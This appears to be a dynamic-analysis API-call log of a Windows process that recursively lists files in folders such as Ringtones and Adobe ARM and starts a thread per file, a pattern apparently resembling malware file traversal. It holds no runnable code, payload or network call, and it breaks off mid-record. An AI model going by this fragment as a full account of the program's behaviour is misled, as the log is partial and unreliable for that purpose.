[0147.867] wcscat (in: _Dest=0x99e108, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0147.867] wcscat (in: _Dest=0x99e108, _Source="Ringtone 03.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma" [0147.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99e108, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1478 [0147.868] FindNextFileW (in: hFindFile=0x942370, lpFindFileData=0x920308 | out: lpFindFileData=0x920308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a039, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 04.wma", cAlternateFileName="RINGTO~4.WMA")) returned 1 [0147.868] wcscmp (_String1="Ringtone 04.wma", _String2=".") returned 1 [0147.868] wcscmp (_String1="Ringtone 04.wma", _String2="..") returned 1 [0147.869] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x99e188 [0147.869] wcscpy (in: _Dest=0x99e188, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0147.869] wcscat (in: _Dest=0x99e188, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0147.869] wcscat (in: _Dest=0x99e188, _Source="Ringtone 04.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma" [0147.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99e188, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x147c [0147.870] FindNextFileW (in: hFindFile=0x942370, lpFindFileData=0x920308 | out: lpFindFileData=0x920308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1b6e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 05.wma", cAlternateFileName="RINGTO~1.WMA")) returned 1 [0147.870] wcscmp (_String1="Ringtone 05.wma", _String2=".") returned 1 [0147.870] wcscmp (_String1="Ringtone 05.wma", _String2="..") returned 1 [0147.870] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x99e208 [0147.870] wcscpy (in: _Dest=0x99e208, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0147.870] wcscat (in: _Dest=0x99e208, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0147.870] wcscat (in: _Dest=0x99e208, _Source="Ringtone 05.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma" [0147.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99e208, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1480 [0147.871] FindNextFileW (in: hFindFile=0x942370, lpFindFileData=0x920308 | out: lpFindFileData=0x920308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 06.wma", cAlternateFileName="RIF0DC~1.WMA")) returned 1 [0147.871] wcscmp (_String1="Ringtone 06.wma", _String2=".") returned 1 [0147.871] wcscmp (_String1="Ringtone 06.wma", _String2="..") returned 1 [0147.871] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x99e288 [0147.871] wcscpy (in: _Dest=0x99e288, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0147.871] wcscat (in: _Dest=0x99e288, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0147.871] wcscat (in: _Dest=0x99e288, _Source="Ringtone 06.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma" [0147.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99e288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1484 [0147.872] FindNextFileW (in: hFindFile=0x942370, lpFindFileData=0x920308 | out: lpFindFileData=0x920308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 07.wma", cAlternateFileName="RID564~1.WMA")) returned 1 [0147.873] wcscmp (_String1="Ringtone 07.wma", _String2=".") returned 1 [0147.873] wcscmp (_String1="Ringtone 07.wma", _String2="..") returned 1 [0147.873] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x99e308 [0147.873] wcscpy (in: _Dest=0x99e308, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0147.873] wcscat (in: _Dest=0x99e308, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0147.873] wcscat (in: _Dest=0x99e308, _Source="Ringtone 07.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma" [0147.873] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99e308, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1488 [0147.874] FindNextFileW (in: hFindFile=0x942370, lpFindFileData=0x920308 | out: lpFindFileData=0x920308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x21fbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 08.wma", cAlternateFileName="RINGTO~2.WMA")) returned 1 [0147.874] wcscmp (_String1="Ringtone 08.wma", _String2=".") returned 1 [0147.874] wcscmp (_String1="Ringtone 08.wma", _String2="..") returned 1 [0147.874] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x99e388 [0147.874] wcscpy (in: _Dest=0x99e388, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0147.874] wcscat (in: _Dest=0x99e388, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0147.874] wcscat (in: _Dest=0x99e388, _Source="Ringtone 08.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma" [0147.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99e388, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x148c [0147.875] FindNextFileW (in: hFindFile=0x942370, lpFindFileData=0x920308 | out: lpFindFileData=0x920308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1b6e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 09.wma", cAlternateFileName="RI70DC~1.WMA")) returned 1 [0147.875] wcscmp (_String1="Ringtone 09.wma", _String2=".") returned 1 [0147.875] wcscmp (_String1="Ringtone 09.wma", _String2="..") returned 1 [0147.875] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x99da08 [0147.875] wcscpy (in: _Dest=0x99da08, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0147.875] wcscat (in: _Dest=0x99da08, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0147.875] wcscat (in: _Dest=0x99da08, _Source="Ringtone 09.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma" [0147.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99da08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1490 [0147.876] FindNextFileW (in: hFindFile=0x942370, lpFindFileData=0x920308 | out: lpFindFileData=0x920308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 10.wma", cAlternateFileName="RI35A2~1.WMA")) returned 1 [0147.876] wcscmp (_String1="Ringtone 10.wma", _String2=".") returned 1 [0147.876] wcscmp (_String1="Ringtone 10.wma", _String2="..") returned 1 [0147.876] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x99d888 [0147.876] wcscpy (in: _Dest=0x99d888, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0147.876] wcscat (in: _Dest=0x99d888, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0147.877] wcscat (in: _Dest=0x99d888, _Source="Ringtone 10.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma" [0147.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99d888, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1494 [0147.878] FindNextFileW (in: hFindFile=0x942370, lpFindFileData=0x920308 | out: lpFindFileData=0x920308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 10.wma", cAlternateFileName="RI35A2~1.WMA")) returned 0 [0147.878] FindClose (in: hFindFile=0x942370 | out: hFindFile=0x942370) returned 1 [0147.878] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x920308) returned 1 [0147.878] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90e940) returned 1 [0147.878] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fef48) returned 1 Thread: id = 1804 os_tid = 0x9cc [0140.300] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f1758 [0140.300] wcscpy (in: _Dest=0x8f1758, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0" [0140.300] wcscat (in: _Dest=0x8f1758, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\" [0140.300] wcscat (in: _Dest=0x8f1758, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\*" [0140.300] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907510 [0140.300] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\*", lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da190 [0140.300] wcscmp (_String1=".", _String2=".") returned 0 [0140.300] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.300] wcscmp (_String1="..", _String2=".") returned 1 [0140.300] wcscmp (_String1="..", _String2="..") returned 0 [0140.300] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x838958c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x52ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcrobatUpdater.exe", cAlternateFileName="ACROBA~1.EXE")) returned 1 [0140.300] wcscmp (_String1="AcrobatUpdater.exe", _String2=".") returned 1 [0140.300] wcscmp (_String1="AcrobatUpdater.exe", _String2="..") returned 1 [0140.300] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe39c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeARM.exe", cAlternateFileName="")) returned 1 [0140.300] wcscmp (_String1="AdobeARM.exe", _String2=".") returned 1 [0140.300] wcscmp (_String1="AdobeARM.exe", _String2="..") returned 1 [0140.300] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x113b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeExtractFiles.dll", cAlternateFileName="ADOBEE~1.DLL")) returned 1 [0140.300] wcscmp (_String1="AdobeExtractFiles.dll", _String2=".") returned 1 [0140.300] wcscmp (_String1="AdobeExtractFiles.dll", _String2="..") returned 1 [0140.300] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x52ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReaderUpdater.exe", cAlternateFileName="READER~1.EXE")) returned 1 [0140.300] wcscmp (_String1="ReaderUpdater.exe", _String2=".") returned 1 [0140.300] wcscmp (_String1="ReaderUpdater.exe", _String2="..") returned 1 [0140.301] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x52ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReaderUpdater.exe", cAlternateFileName="READER~1.EXE")) returned 0 [0140.301] FindClose (in: hFindFile=0x8da190 | out: hFindFile=0x8da190) returned 1 [0140.301] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907510) returned 1 [0140.301] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1758) returned 1 [0140.301] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1368) returned 1 Thread: id = 1809 os_tid = 0x9e0 [0140.337] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x62) returned 0x8f0db8 [0140.337] wcscpy (in: _Dest=0x8f0db8, _Source="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0" [0140.337] wcscat (in: _Dest=0x8f0db8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\" [0140.337] wcscat (in: _Dest=0x8f0db8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\*") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\*" [0140.337] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9072a8 [0140.337] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\*", lpFindFileData=0x9072a8 | out: lpFindFileData=0x9072a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da110 [0140.337] wcscmp (_String1=".", _String2=".") returned 0 [0140.337] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x9072a8 | out: lpFindFileData=0x9072a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.337] wcscmp (_String1="..", _String2=".") returned 1 [0140.337] wcscmp (_String1="..", _String2="..") returned 0 [0140.337] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x9072a8 | out: lpFindFileData=0x9072a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0140.337] wcscmp (_String1="en-US", _String2=".") returned 1 [0140.337] wcscmp (_String1="en-US", _String2="..") returned 1 [0140.337] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8e8e18 [0140.337] wcscpy (in: _Dest=0x8e8e18, _Source="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0" [0140.337] wcscat (in: _Dest=0x8e8e18, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\" [0140.337] wcscat (in: _Dest=0x8e8e18, _Source="en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US" [0140.337] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e8e18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x248 [0140.343] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x9072a8 | out: lpFindFileData=0x9072a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0140.343] FindClose (in: hFindFile=0x8da110 | out: hFindFile=0x8da110) returned 1 [0140.344] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9072a8) returned 1 [0140.344] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f0db8) returned 1 [0140.344] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90e9a8) returned 1 Thread: id = 1810 os_tid = 0x9e8 [0140.418] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7a) returned 0x8f74e8 [0140.418] wcscpy (in: _Dest=0x8f74e8, _Source="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US" [0140.418] wcscat (in: _Dest=0x8f74e8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\" [0140.418] wcscat (in: _Dest=0x8f74e8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\*" [0140.418] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9072a8 [0140.418] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\*", lpFindFileData=0x9072a8 | out: lpFindFileData=0x9072a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9dbcac, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da0d0 [0140.419] wcscmp (_String1=".", _String2=".") returned 0 [0140.419] FindNextFileW (in: hFindFile=0x8da0d0, lpFindFileData=0x9072a8 | out: lpFindFileData=0x9072a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9dbcac, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.420] wcscmp (_String1="..", _String2=".") returned 1 [0140.420] wcscmp (_String1="..", _String2="..") returned 0 [0140.420] FindNextFileW (in: hFindFile=0x8da0d0, lpFindFileData=0x9072a8 | out: lpFindFileData=0x9072a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2db04ce, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2db04ce, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, 